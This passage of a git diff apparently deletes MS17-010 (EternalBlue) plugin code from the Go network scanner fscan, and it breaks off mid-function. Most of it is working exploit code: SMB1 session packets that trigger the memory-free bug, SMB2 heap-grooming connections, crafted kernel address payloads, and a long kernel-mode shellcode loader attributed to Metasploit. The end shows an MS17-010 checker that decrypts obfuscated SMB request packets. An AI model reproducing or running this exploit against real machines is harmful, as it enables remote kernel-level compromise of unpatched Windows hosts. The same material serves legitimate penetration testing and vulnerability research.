0xEF, 0xDF, 0xFF}) - buf.Write(makeZero(0x04)) - buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x10)) - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x0C)) - buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x80, 0x10}) - buf.Write(makeZero(0x0E)) - buf.Write([]byte{0x39, 0xBB}) - buf.Write(bytes.Repeat([]byte{0x41}, 965)) -} - -// writeZeroPayload 写入zero类型负载 -func writeZeroPayload(buf *bytes.Buffer) { - buf.Write(makeZero(2055)) - buf.Write([]byte{0x83, 0xF3}) - buf.Write(bytes.Repeat([]byte{0x41}, 2039)) -} - -// makeSMB1EchoPacket 创建SMB1 Echo数据包 -func makeSMB1EchoPacket(treeID, userID uint16) []byte { - buf := bytes.Buffer{} - - // 构造NetBIOS会话服务头 - writeNetBIOSEchoHeader(&buf) - - // 构造SMB协议头 - writeSMBEchoHeader(&buf, treeID, userID) - - // 构造Echo请求 - writeEchoRequest(&buf) - - return buf.Bytes() -} - -// writeNetBIOSEchoHeader 写入NetBIOS会话服务头 -func writeNetBIOSEchoHeader(buf *bytes.Buffer) { - // 消息类型 - buf.WriteByte(0x00) - // 长度 - buf.Write([]byte{0x00, 0x00, 0x31}) -} - -// writeSMBEchoHeader 写入SMB协议头 -func writeSMBEchoHeader(buf *bytes.Buffer, treeID, userID uint16) { - // SMB标识 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Echo命令 - buf.WriteByte(0x2B) - // NT状态码 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 标志位 - buf.WriteByte(0x18) - // 标志位2 - buf.Write([]byte{0x07, 0xC0}) - // 进程ID高位 - buf.Write([]byte{0x00, 0x00}) - // 签名1和2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // 保留字段 - buf.Write([]byte{0x00, 0x00}) - - // 树ID - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - - // 进程ID - buf.Write([]byte{0xFF, 0xFE}) - - // 用户ID - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - - // 多路复用ID - buf.Write([]byte{0x40, 0x00}) -} - -// writeEchoRequest 写入Echo请求 -func writeEchoRequest(buf *bytes.Buffer) { - // 字段数 - buf.WriteByte(0x01) - // Echo计数 - buf.Write([]byte{0x01, 0x00}) - // 字节数 - buf.Write([]byte{0x0C, 0x00}) - // Echo数据(IDS签名,可置空) - buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) -} - -// smb1FreeHole 创建SMB1内存释放漏洞连接 -func smb1FreeHole(address string, start bool) (net.Conn, error) { - // 建立TCP连接 - conn, err := net.DialTimeout("tcp", address, 10*time.Second) - if err != nil { - return nil, fmt.Errorf("连接目标失败: %v", err) - } - - // 连接状态标记 - var ok bool - defer func() { - if !ok { - _ = conn.Close() - } - }() - - // SMB协议协商 - if err = smbClientNegotiate(conn); err != nil { - return nil, fmt.Errorf("SMB协议协商失败: %v", err) - } - - // 根据开始/结束标志设置不同参数 - var flags2, vcNum, nativeOS []byte - if start { - flags2 = []byte{0x07, 0xC0} - vcNum = []byte{0x2D, 0x01} - nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00} - } else { - flags2 = []byte{0x07, 0x40} - vcNum = []byte{0x2C, 0x01} - nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} - } - - // 构造并发送会话数据包 - packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) - if _, err = conn.Write(packet); err != nil { - return nil, fmt.Errorf("发送内存释放会话数据包失败: %v", err) - } - - // 获取响应 - if _, _, err = smb1GetResponse(conn); err != nil { - return nil, fmt.Errorf("获取会话响应失败: %v", err) - } - - ok = true - return conn, nil -} - -// makeSMB1FreeHoleSessionPacket 创建SMB1内存释放会话数据包 -func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { - buf := bytes.Buffer{} - - // 构造NetBIOS会话服务头 - writeNetBIOSFreeHoleHeader(&buf) - - // 构造SMB协议头 - writeSMBFreeHoleHeader(&buf, flags2) - - // 构造会话设置请求 - writeSessionSetupFreeHoleRequest(&buf, vcNum, nativeOS) - - return buf.Bytes() -} - -// writeNetBIOSFreeHoleHeader 写入NetBIOS会话服务头 -func writeNetBIOSFreeHoleHeader(buf *bytes.Buffer) { - // 消息类型 - buf.WriteByte(0x00) - // 长度 - buf.Write([]byte{0x00, 0x00, 0x51}) -} - -// writeSMBFreeHoleHeader 写入SMB协议头 -func writeSMBFreeHoleHeader(buf *bytes.Buffer, flags2 []byte) { - // SMB标识 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX命令 - buf.WriteByte(0x73) - // NT状态码 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 标志位 - buf.WriteByte(0x18) - // 标志位2 - buf.Write(flags2) - // 进程ID高位 - buf.Write([]byte{0x00, 0x00}) - // 签名1和2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // 保留字段 - buf.Write([]byte{0x00, 0x00}) - // 树ID - buf.Write([]byte{0x00, 0x00}) - // 进程ID - buf.Write([]byte{0xFF, 0xFE}) - // 用户ID - buf.Write([]byte{0x00, 0x00}) - // 多路复用ID - buf.Write([]byte{0x40, 0x00}) -} - -// writeSessionSetupFreeHoleRequest 写入会话设置请求 -func writeSessionSetupFreeHoleRequest(buf *bytes.Buffer, vcNum, nativeOS []byte) { - // 字段数 - buf.WriteByte(0x0C) - // 无后续命令 - buf.WriteByte(0xFF) - // 保留字段 - buf.WriteByte(0x00) - // AndX偏移 - buf.Write([]byte{0x00, 0x00}) - // 最大缓冲区 - buf.Write([]byte{0x04, 0x11}) - // 最大并发数 - buf.Write([]byte{0x0A, 0x00}) - // VC编号 - buf.Write(vcNum) - // 会话密钥 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 安全数据长度 - buf.Write([]byte{0x00, 0x00}) - // 保留字段 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // 功能标志 - buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) - // 字节数 - buf.Write([]byte{0x16, 0x00}) - // 原生操作系统 - buf.Write(nativeOS) - // 额外参数 - buf.Write(makeZero(17)) -} - -// smb2Grooms 创建多个SMB2连接 -func smb2Grooms(address string, grooms int) ([]net.Conn, error) { - // 创建SMB2头 - header := makeSMB2Header() - - var ( - conns []net.Conn - ok bool - ) - - // 失败时关闭所有连接 - defer func() { - if ok { - return - } - for _, conn := range conns { - _ = conn.Close() - } - }() - - // 建立多个连接 - for i := 0; i < grooms; i++ { - // 创建TCP连接 - conn, err := net.DialTimeout("tcp", address, 10*time.Second) - if err != nil { - return nil, fmt.Errorf("连接目标失败: %v", err) - } - - // 发送SMB2头 - if _, err = conn.Write(header); err != nil { - return nil, fmt.Errorf("发送SMB2头失败: %v", err) - } - - conns = append(conns, conn) - } - - ok = true - return conns, nil -} - -const ( - packetMaxLen = 4204 // 数据包最大长度 - packetSetupLen = 497 // 数据包设置部分长度 -) - -// makeSMB2Header 创建SMB2协议头 -func makeSMB2Header() []byte { - buf := bytes.Buffer{} - - // SMB2协议标识 - buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) - buf.WriteString("SMB") - - // 填充剩余字节 - buf.Write(makeZero(124)) - - return buf.Bytes() -} - -// makeSMB2Body 创建SMB2协议体 -func makeSMB2Body(payload []byte) []byte { - const packetMaxPayload = packetMaxLen - packetSetupLen // 计算最大负载长度 - buf := bytes.Buffer{} - - // 写入填充数据 - writePaddingData(&buf) - - // 写入KI_USER_SHARED_DATA地址 - writeSharedDataAddresses(&buf) - - // 写入负载地址和相关数据 - writePayloadAddresses(&buf) - - // 写入负载数据 - buf.Write(payload) - - // 填充剩余空间(可随机生成) - buf.Write(makeZero(packetMaxPayload - len(payload))) - - return buf.Bytes() -} - -// writePaddingData 写入填充数据 -func writePaddingData(buf *bytes.Buffer) { - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x1C)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x74)) -} - -// writeSharedDataAddresses 写入共享数据地址 -func writeSharedDataAddresses(buf *bytes.Buffer) { - // x64地址 - x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - buf.Write(bytes.Repeat(x64Address, 2)) - buf.Write(makeZero(0x10)) - - // x86地址 - x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} - buf.Write(bytes.Repeat(x86Address, 2)) - buf.Write(makeZero(0xC4)) -} - -// writePayloadAddresses 写入负载地址和相关数据 -func writePayloadAddresses(buf *bytes.Buffer) { - // 负载地址 - buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x04)) - buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x40)) - - // 附加数据 - buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.WriteByte(0x00) -} - -// makeZero 创建指定大小的零值字节切片 -func makeZero(size int) []byte { - return bytes.Repeat([]byte{0}, size) -} - -// loader 用于在内核模式下运行用户模式shellcode的加载器 -// 参考自Metasploit-Framework: -// 文件: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm -// 二进制: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc -var loader = [...]byte{ - 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, - 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, - 0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8, - 0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01, - 0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, - 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10, - 0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55, - 0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, - 0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5, - 0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, - 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00, - 0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25, - 0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, - 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65, - 0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F, - 0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5, - 0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65, - 0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C, - 0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81, - 0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00, - 0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30, - 0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90, - 0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B, - 0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04, - 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89, - 0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB, - 0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89, - 0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49, - 0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24, - 0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D, - 0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31, - 0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC, - 0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B, - 0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00, - 0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03, - 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1, - 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48, - 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00, - 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, - 0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2, - 0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00, - 0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89, - 0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41, - 0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00, - 0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09, - 0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8, - 0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00, - 0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E, - 0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, - 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2, - 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12, - 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C, - 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39, - 0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52, - 0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, - 0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48, - 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39, - 0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, - 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59, - 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48, - 0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF, - 0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00, - 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF, - 0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3, -} diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go deleted file mode 100644 index a9e2ba8..0000000 --- a/Plugins/MS17010.go +++ /dev/null @@ -1,289 +0,0 @@ -package Plugins - -import ( - "encoding/binary" - "encoding/hex" - "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - "os" - "strings" - "time" -) - -var ( - // SMB协议加密的请求数据 - negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" - sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" - treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" - transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" - trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk=" - - // SMB协议解密后的请求数据 - negotiateProtocolRequest []byte - sessionSetupRequest []byte - treeConnectRequest []byte - transNamedPipeRequest []byte - trans2SessionSetupRequest []byte -) - -func init() { - var err error - - // 解密协议请求 - decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key) - if err != nil { - common.LogError(fmt.Sprintf("协议请求解密错误: %v", err)) - os.Exit(1) - } - negotiateProtocolRequest, err = hex.DecodeString(decrypted) - if err != nil { - common.LogError(fmt.Sprintf("协议请求解码错误: %v", err)) - os.Exit(1) - } - - // 解密会话请求 - decrypted, err = AesDecrypt(sessionSetupRequest_enc, key) - if err != nil { - common.LogError(fmt.Sprintf("会话请求解密错误: %v", err)) - os.Exit(1) - } - sessionSetupRequest, err = hex.DecodeString(decrypted) - if err != nil { - common.LogError(fmt.Sprintf("会话请求解码错误: %v", err)) - os.Exit(1) - } - - // 解密连接请求 - decrypted, err = AesDecrypt(treeConnectRequest_enc, key) - if err != nil { - common.LogError(fmt.Sprintf("连接请求解密错误: %v", err)) - os.Exit(1) - } - treeConnectRequest, err = hex.DecodeString(decrypted) - if err != nil { - common.LogError(fmt.Sprintf("连接请求解码错误: %v", err)) - os.Exit(1) - } - - // 解密管道请求 - decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key) - if err != nil { - common.LogError(fmt.Sprintf("管道请求解密错误: %v", err)) - os.Exit(1) - } - transNamedPipeRequest, err = hex.DecodeString(decrypted) - if err != nil { - common.LogError(fmt.Sprintf("管道请求解码错误: %v", err)) - os.Exit(1) - } - - // 解密会话设置请求 - decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key) - if err != nil { - common.LogError(fmt.Sprintf("会话设置解密错误: %v", err)) - os.Exit(1) - } - trans2SessionSetupRequest, err = hex.DecodeString(decrypted) - if err != nil { - common.LogError(fmt.Sprintf("会话设置解码错误: %v", err)) - os.Exit(1) - } -} - -// MS17010 扫描入口函数 -func MS17010(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - err := MS17010Scan(info) - if err != nil { - common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err)) - } - return err -} - -func MS17010Scan(info *common.HostInfo) error { - ip := info.Host - - // 连接目标 - conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second) - if err != nil { - return fmt.Errorf("连接错误: %v", err) - } - defer conn.Close() - - if err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil { - return fmt.Errorf("设置超时错误: %v", err) - } - - // SMB协议协商 - if _, err = conn.Write(negotiateProtocolRequest); err != nil { - return fmt.Errorf("发送协议请求错误: %v", err) - } - - reply := make([]byte, 1024) - if n, err := conn.Read(reply); err != nil || n < 36 { - if err != nil { - return fmt.Errorf("读取协议响应错误: %v", err) - } - return fmt.Errorf("协议响应不完整") - } - - if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return fmt.Errorf("协议协商被拒绝") - } - - // 建立会话 - if _, err = conn.Write(sessionSetupRequest); err != nil { - return fmt.Errorf("发送会话请求错误: %v", err) - } - - n, err := conn.Read(reply) - if err != nil || n < 36 { - if err != nil { - return fmt.Errorf("读取会话响应错误: %v", err) - } - return fmt.Errorf("会话响应不完整") - } - - if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return fmt.Errorf("会话建立失败") - } - - // 提取系统信息 - var os string - sessionSetupResponse := reply[36:n] - if wordCount := sessionSetupResponse[0]; wordCount != 0 { - byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) - if n != int(byteCount)+45 { - common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip)) - } else { - for i := 10; i < len(sessionSetupResponse)-1; i++ { - if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { - os = string(sessionSetupResponse[10:i]) - os = strings.Replace(os, string([]byte{0x00}), "", -1) - break - } - } - } - } - - // 树连接请求 - userID := reply[32:34] - treeConnectRequest[32] = userID[0] - treeConnectRequest[33] = userID[1] - - if _, err = conn.Write(treeConnectRequest); err != nil { - return fmt.Errorf("发送树连接请求错误: %v", err) - } - - if n, err := conn.Read(reply); err != nil || n < 36 { - if err != nil { - return fmt.Errorf("读取树连接响应错误: %v", err) - } - return fmt.Errorf("树连接响应不完整") - } - - // 命名管道请求 - treeID := reply[28:30] - transNamedPipeRequest[28] = treeID[0] - transNamedPipeRequest[29] = treeID[1] - transNamedPipeRequest[32] = userID[0] - transNamedPipeRequest[33] = userID[1] - - if _, err = conn.Write(transNamedPipeRequest); err != nil { - return fmt.Errorf("发送管道请求错误: %v", err) - } - - if n, err := conn.Read(reply); err != nil || n < 36 { - if err != nil { - return fmt.Errorf("读取管道响应错误: %v", err) - } - return fmt.Errorf("管道响应不完整") - } - - // 漏洞检测部分添加 Output - if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { - // 构造基本详情 - details := map[string]interface{}{ - "port": "445", - "vulnerability": "MS17-010", - } - if os != "" { - details["os"] = os - 